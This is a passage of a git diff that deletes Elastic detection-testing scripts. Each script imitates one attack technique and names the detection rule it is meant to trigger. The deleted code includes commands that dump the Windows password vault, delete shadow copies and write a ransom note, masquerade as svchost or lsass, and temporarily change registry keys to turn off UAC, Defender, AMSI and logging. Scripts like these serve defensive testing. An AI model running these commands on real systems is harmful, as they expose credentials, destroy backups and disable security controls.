common.remove_file(posh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/powershell_vault_access.py b/rta/powershell_vault_access.py deleted file mode 100644 index 392818241..000000000 --- a/rta/powershell_vault_access.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="88905741-350f-4a20-a363-22be1e71840c", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Access to Windows Passwords Vault via Powershell", - "rule_id": "7a4d1be2-db47-4545-a08c-9d4b20bad0d0", - } - ], - siem=[], - techniques=["T1555", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - cmd = "(new-object 'Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials" - "ContentType=WindowsRuntime').RetrieveAll()" - - # Execute command - common.execute([powershell, "/c", cmd], timeout=5, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/privilege_escalation_remote_thread.py b/rta/privilege_escalation_remote_thread.py deleted file mode 100644 index 2753b4505..000000000 --- a/rta/privilege_escalation_remote_thread.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import os -import platform - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e1ff47b2-af5d-4cfc-bd94-e0b86828b241", - platforms=["macos"], - endpoint=[ - {"rule_name": "Potential Code Injection via Remote Thread", "rule_id": "458f0b4b-be9a-45bc-8f19-a26dac267250"} - ], - siem=[], - techniques=["T1055"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - if platform.processor() == "arm": - name = "thread_injector_arm" - sleep_name = "com.apple.sleep_arm" - else: - name = "thread_injector_intel" - sleep_name = "com.apple.sleep_intel" - sleep_path = common.get_path("bin", sleep_name) - os.system(f"{sleep_path} 5000 &") - - path = common.get_path("bin", name) - os.system(f"{path} `pgrep {sleep_name}`") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/privilege_escalation_tcc_bypass.py b/rta/privilege_escalation_tcc_bypass.py deleted file mode 100644 index 38818d41f..000000000 --- a/rta/privilege_escalation_tcc_bypass.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e45cd941-dee1-4275-8c63-2f8cab2cf8a6", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Potential Privilege Escalation via TCC bypass with fake TCC.db", - "rule_id": "8446b30d-a9c4-4646-8261-979c06edd0ff", - } - ], - siem=[], - techniques=["T1068"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing deletion on /tmp/TCC.db file.") - common.temporary_file_helper("testing", file_name="/tmp/TCC.db") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/process_double_extension.py b/rta/process_double_extension.py deleted file mode 100644 index c4acc2cee..000000000 --- a/rta/process_double_extension.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Double Process Extension -# RTA: process_double_extension.py -# ATT&CK: T1036 -# Description: Create and run a process with a double extension. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="27694576-0454-40b3-9823-e29719c53750", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "8b2b3a62-a598-4293-bc14-3d5fa22bb98f", - "rule_name": "Executable File Creation with Multiple Extensions", - } - ], - techniques=["T1204", "T1036"], -) - - -MY_APP = common.get_path("bin", "myapp_x64.exe") - - -@common.requires_os(*metadata.platforms) -@common.dependencies(MY_APP) -def main(): - anomalies = ["test.txt.exe"] - - for path in anomalies: - common.log("Masquerading process as %s" % path) - common.copy_file(MY_APP, path) - common.execute([path]) - common.remove_file(path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/process_extension_anomalies.py b/rta/process_extension_anomalies.py deleted file mode 100644 index 6bd209f19..000000000 --- a/rta/process_extension_anomalies.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Executable with Unusual Extensions -# RTA: process_extension_anomalies.py -# ATT&CK: T1036 -# Description: Creates processes with anomalous extensions - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c7d9d63d-09ff-40e9-b990-4c273281d6a0", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -MY_APP = common.get_path("bin", "myapp.exe") - - -@common.requires_os(*metadata.platforms) -@common.dependencies(MY_APP) -def main(): - anomalies = [ - "bad.pif", - "evil.cmd", - "evil.gif", - "bad.pdf", - "suspicious.bat", - "hiding.vbs", - "evil.xlsx", - ] - - for path in anomalies: - common.log("Masquerading python as %s" % path) - common.copy_file(MY_APP, path) - common.execute([path]) - common.remove_file(path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/process_name_masquerade.py b/rta/process_name_masquerade.py deleted file mode 100644 index 9c2ca9bee..000000000 --- a/rta/process_name_masquerade.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="98adf0ff-2d8e-4eea-8d68-42084204bb74", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c"}, - {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, - ], - siem=[], - techniques=["T1218", "T1036"], -) - -CMD_PATH = "c:\\windows\\system32\\cmd.exe" - - -@common.requires_os(*metadata.platforms) -def main(): - masquerades = ["svchost.exe", "lsass.exe"] - - for name in masquerades: - path = Path(name).resolve() - common.copy_file(CMD_PATH, path) - common.execute(path, timeout=3, kill=True) - common.remove_file(path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/ransomnote_delete_shadows.py b/rta/ransomnote_delete_shadows.py deleted file mode 100644 index da75a47f8..000000000 --- a/rta/ransomnote_delete_shadows.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2ab87570-d9ad-40f4-9f52-d5a2942e11ac", - platforms=["windows"], - endpoint=[{"rule_name": "Potential Ransomware Note File", "rule_id": "5dba1130-72df-46f1-b581-18d9c866cb23"}], - siem=[], - techniques=["T1485"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - vssadmin = "C:\\Windows\\System32\\vssadmin.exe" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.log("Deleting Shadow Copies and writing ransom note") - common.execute([vssadmin, "delete", "shadows", "/For=C:"], timeout=10) - - common.execute([powershell, "/c", "echo 'Ooops! All your' > readme.txt"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/recycle_bin_process.py b/rta/recycle_bin_process.py deleted file mode 100644 index 3097f482d..000000000 --- a/rta/recycle_bin_process.py +++ /dev/null @@ -1,68 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Run Process from the Recycle Bin -# RTA: recycle_bin_process.py -# ATT&CK: T1158 -# Description: Executes mock malware from the "C:\Recycler\" and "C:\$RECYCLE.BIN\" subdirectories. - -import time -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="790cbe6f-ee44-4654-9998-039236dbe0d8", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "cff92c41-2225-4763-b4ce-6f71e5bda5e6", - "rule_name": "Execution from Unusual Directory - Command Line", - } - ], - techniques=["T1036", "T1059"], -) - - -RECYCLE_PATHS = ["C:\\$Recycle.Bin", "C:\\Recycler"] -TARGET_APP = common.get_path("bin", "myapp.exe") - - -@common.requires_os(*metadata.platforms) -@common.dependencies(TARGET_APP, common.CMD_PATH) -def main(): - common.log("Execute files from the Recycle Bin") - target_dir = None - for recycle_path in RECYCLE_PATHS: - if Path(recycle_path).exists(): - target_dir = common.find_writeable_directory(recycle_path) - if target_dir: - break - - else: - common.log("Could not find a writeable directory in the recycle bin") - exit(1) - - commands = [ - [TARGET_APP], - [common.CMD_PATH, "/c", "echo hello world"], - ] - - common.log("Running commands from recycle bin in %s" % target_dir) - for command in commands: # type: list[str] - source_path = command[0] - arguments = command[1:] - - target_path = Path(target_dir) / "recycled_process.exe" - common.copy_file(source_path, target_path) - arguments.insert(0, target_path) - common.execute(arguments) - time.sleep(0.5) - common.remove_file(target_path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_creation_servicedll.py b/rta/reg_creation_servicedll.py deleted file mode 100644 index f51b6ed9e..000000000 --- a/rta/reg_creation_servicedll.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="58b3052d-4242-4b41-9f28-b04ce5962761", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Windows Service DLL Creation", "rule_id": "2c624716-75a1-42d9-bcb8-1defcb9bded9"} - ], - siem=[{ - "rule_id": "403ef0d3-8259-40c9-a5b6-d48354712e49", - "rule_name": "Unusual Persistence via Services Registry" - }], - techniques=['T1543', 'T1543.003'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Temporarily creating a Service DLL reg key...") - - key = "SYSTEM\\ControlSet001\\Services\\RTA" - value = "ServiceDLL" - data = "ServiceDLL" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_amsienable.py b/rta/reg_mod_amsienable.py deleted file mode 100644 index 05a21e133..000000000 --- a/rta/reg_mod_amsienable.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="78715019-6eff-45b1-a942-47db87d55b01", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'f874315d-5188-4b4a-8521-d1c73093a7e4', 'rule_name': 'Modification of AmsiEnable Registry Key'}], - techniques=['T1562', 'T1562.001'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "Software\\Microsoft\\Windows Script\\Settings" - value = "AmsiEnable" - data = 0 - - with common.temporary_reg(common.HKCU, key, value, data, data_type="dword"): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_appcertdlls.py b/rta/reg_mod_appcertdlls.py deleted file mode 100644 index 758ab5316..000000000 --- a/rta/reg_mod_appcertdlls.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4c0e7d24-63d1-4888-9ea4-0d920ce3fe40", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '513f0ffd-b317-4b9c-9494-92ce861f22c7', 'rule_name': 'Registry Persistence via AppCert DLL'}], - techniques=['T1546', 'T1546.009'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCertDLLs" - value = "RTA" - data = "NotMalicious" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_appinitdlls.py b/rta/reg_mod_appinitdlls.py deleted file mode 100644 index ef8208fc8..000000000 --- a/rta/reg_mod_appinitdlls.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b434626c-4787-4967-9984-50c0db12692f", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'd0e159cf-73e9-40d1-a9ed-077e3158a855', 'rule_name': 'Registry Persistence via AppInit DLL'}], - techniques=['T1546', 'T1546.010'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows" - value = "AppInit_Dlls" - data = "RTA" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_autodialdll.py b/rta/reg_mod_autodialdll.py deleted file mode 100644 index 19d2a8f6b..000000000 --- a/rta/reg_mod_autodialdll.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="32462f3e-d5af-4ef9-8260-aa9fbeb6e117", - platforms=["windows"], - endpoint=[ - { - 'rule_id': '2ffc3943-8100-4f77-9c8f-e8f9e185604b', - 'rule_name': 'Persistence via AutodialDLL Registry Modification' - } - ], - siem=[], - techniques=['T1112'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SYSTEM\\ControlSet001\\Services\\WinSock2\\Parameters" - value = "AutodialDLL" - data = "RTA" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_base64_executable.py b/rta/reg_mod_base64_executable.py deleted file mode 100644 index 43bcafd15..000000000 --- a/rta/reg_mod_base64_executable.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ada7805f-e0e1-4633-952e-41f5bb392fdb", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '93c1ce76-494c-4f01-8167-35edfb52f7b1', - 'rule_name': 'Encoded Executable Stored in the Registry' - }], - techniques=['T1112', 'T1140'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SOFTWARE\\Policies\\Test" - value = "Base64" - data = "TVqQAAMAAAAEAAAA" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_builtindnsclientenabled.py b/rta/reg_mod_builtindnsclientenabled.py deleted file mode 100644 index 701769a6e..000000000 --- a/rta/reg_mod_builtindnsclientenabled.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2edd7889-578b-4870-befd-6b3d0f5a10fd", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'a22a09c2-2162-4df0-a356-9aacbeb56a04', 'rule_name': 'DNS-over-HTTPS Enabled via Registry'}], - techniques=['T1562'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SOFTWARE\\Policies\\Microsoft\\Edge" - value = "BuiltInDnsClientEnabled" - data = 1 - - with common.temporary_reg(common.HKLM, key, value, data, data_type="dword"): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_disable_uac.py b/rta/reg_mod_disable_uac.py deleted file mode 100644 index 5b764d60c..000000000 --- a/rta/reg_mod_disable_uac.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="6a884a9a-b061-4eeb-8711-f14f6b49c9c0", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'd31f183a-e5b1-451b-8534-ba62bca0b404', - 'rule_name': 'Disabling User Account Control via Registry Modification' - }], - techniques=['T1548', 'T1548.002', 'T1548', 'T1548.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" - value = "EnableLUA" - data = 0 - - with common.temporary_reg(common.HKLM, key, value, data, data_type="dword"): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_disableantispyware.py b/rta/reg_mod_disableantispyware.py deleted file mode 100644 index 139bbd785..000000000 --- a/rta/reg_mod_disableantispyware.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e70ab2f3-7a67-4cd8-9969-ad4ebe0358bc", - platforms=["windows"], - endpoint=[], - siem=[ - { - 'rule_id': 'fe794edd-487f-4a90-b285-3ee54f2af2d3', - 'rule_name': 'Microsoft Windows Defender Tampering' - }, - { - 'rule_id': '2ffa1f1e-b6db-47fa-994b-1512743847eb', - 'rule_name': 'Windows Defender Disabled via Registry Modification' - } - ], - techniques=['T1562', 'T1562.001', 'T1562.006'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SOFTWARE\\Policies\\Microsoft\\Windows Defender" - value = "DisableAntiSpyware" - data = 1 - - with common.temporary_reg(common.HKLM, key, value, data, data_type="dword"): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_driver_blocklist.py b/rta/reg_mod_driver_blocklist.py deleted file mode 100644 index f48b4ebe9..000000000 --- a/rta/reg_mod_driver_blocklist.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="cd2154fa-de1a-4098-83c1-be1ab23da379", - platforms=["windows"], - endpoint=[ - { - 'rule_id': '31b7218e-ba98-4228-a39a-d0e0d1c0e5b7', - 'rule_name': 'Attempt to Disable Windows Driver Blocklist via Registry' - } - ], - siem=[], - techniques=['T1112'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SYSTEM\\CurrentControlSet\\Control\\CI\\Config" - value = "VulnerableDriverBlocklistEnable" - data = 0 - - with common.temporary_reg(common.HKLM, key, value, data, data_type="dword"): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_enableat.py b/rta/reg_mod_enableat.py deleted file mode 100644 index da6cfff3c..000000000 --- a/rta/reg_mod_enableat.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="712509fa-5326-4ebc-bb1e-82ddf28e8baa", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '9aa0e1f6-52ce-42e1-abb3-09657cee2698', 'rule_name': 'Scheduled Tasks AT Command Enabled'}], - techniques=['T1562', 'T1562.001'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Configuration" - value = "EnableAt" - data = 1 - - with common.temporary_reg(common.HKLM, key, value, data, data_type="dword"): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_enablescriptblocklogging.py b/rta/reg_mod_enablescriptblocklogging.py deleted file mode 100644 index 5ec7161db..000000000 --- a/rta/reg_mod_enablescriptblocklogging.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="5ef57ec6-32a0-40b2-b9a7-c4eda4cd3e49", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '818e23e6-2094-4f0e-8c01-22d30f3506c6', 'rule_name': 'PowerShell Script Block Logging Disabled'}], - techniques=['T1562', 'T1562.002'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging" - value = "EnableScriptBlockLogging" - data = 0 - - with common.temporary_reg(common.HKLM, key, value, data, data_type="dword"): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_ifeo.py b/rta/reg_mod_ifeo.py deleted file mode 100644 index 7c4b6f154..000000000 --- a/rta/reg_mod_ifeo.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2bb1016f-b3e9-455d-b665-02a0aafc797a", - platforms=["windows"], - endpoint=[{ - 'rule_id': 'ff5fd85a-e770-4e57-8bae-0d267442eb9f', - 'rule_name': 'Suspicious Image File Execution Options Modification' - }], - siem=[], - techniques=['T1546', 'T1546.012'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Temp Registry mod: IFEO") - - key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rta.exe\\" - value = "Debugger" - data = "Test" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_lsa_ssp.py b/rta/reg_mod_lsa_ssp.py deleted file mode 100644 index ba34c6ab1..000000000 --- a/rta/reg_mod_lsa_ssp.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ac6b2cda-97f1-4095-b5f1-9791da2e6282", - platforms=["windows"], - endpoint=[], - siem=[ - { - 'rule_id': 'e86da94d-e54b-4fb5-b96c-cecff87e8787', - 'rule_name': 'Installation of Security Support Provider' - }, - { - 'rule_id': 'e9abe69b-1deb-4e19-ac4a-5d5ac00f72eb', - 'rule_name': 'Potential LSA Authentication Package Abuse' - }, - ], - techniques=['T1547', 'T1547.002', 'T1547.005'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SYSTEM\\ControlSet001\\Control\\Lsa\\Security Packages" - key2 = "SYSTEM\\ControlSet001\\Control\\Lsa" - value = "RTA" - value2 = "Authentication Packages" - data = "RTA" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - with common.temporary_reg(common.HKLM, key2, value2, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_netwire.py b/rta/reg_mod_netwire.py deleted file mode 100644 index 9ea64ee6b..000000000 --- a/rta/reg_mod_netwire.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2bb1f4df-dc38-45a6-a0f4-54660c93a652", - platforms=["windows"], - endpoint=[{"rule_name": "NetWire RAT Registry Modification", "rule_id": "102f340f-1839-4bad-8493-824cc02c4e69"}], - siem=[], - techniques=["T1112"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Temporarily creating a Netwire RAT-like reg key...") - - key = "SOFTWARE\\Netwire" - value = "HostId" - data = "Test" - - with common.temporary_reg(common.HKCU, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_networkprovider.py b/rta/reg_mod_networkprovider.py deleted file mode 100644 index be2d0c924..000000000 --- a/rta/reg_mod_networkprovider.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1b4050d9-e3fa-4559-b188-522b620584c8", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '54c3d186-0461-4dc3-9b33-2dc5c7473936', - 'rule_name': 'Network Logon Provider Registry Modification' - }], - techniques=['T1556', 'T1543'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "System\\CurrentControlSet\\Services\\Test\\NetworkProvider" - value = "ProviderPath" - data = "C:\\Nonexistent.exe" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_nullsessionpipes.py b/rta/reg_mod_nullsessionpipes.py deleted file mode 100644 index 6a39cd31d..000000000 --- a/rta/reg_mod_nullsessionpipes.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a6263f00-58b4-4555-b88f-9d66a7395891", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Suspicious NullSessionPipe Registry Modification", - "rule_id": "11d374d8-2dad-4d9b-83a2-ee908eac8269", - } - ], - siem=[{'rule_id': 'ddab1f5f-7089-44f5-9fda-de5b11322e77', 'rule_name': 'NullSessionPipe Registry Modification'}], - techniques=['T1021', 'T1021.002', 'T1112'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Modifying NullSessionPipes reg key...") - - key = "SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Parameters" - value = "NullSessionPipes" - data = "RpcServices" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_plugx.py b/rta/reg_mod_plugx.py deleted file mode 100644 index 20a72fea8..000000000 --- a/rta/reg_mod_plugx.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="31fdd029-5fac-474f-9201-3b7bfb60e0cf", - platforms=["windows"], - endpoint=[ - {"rule_name": "Potential PlugX Registry Modification", "rule_id": "7a201712-9f3c-4f40-b4fc-2418a44b8ecb"} - ], - siem=[], - techniques=["T1547", "T1112", "T1219"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Temporarily creating a PlugX-like reg key...") - - key = "SOFTWARE\\CLASSES\\ms-pu\\PROXY" - value = "Test" - data = "Test" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_point_and_print_dll.py b/rta/reg_mod_point_and_print_dll.py deleted file mode 100644 index 214590001..000000000 --- a/rta/reg_mod_point_and_print_dll.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic 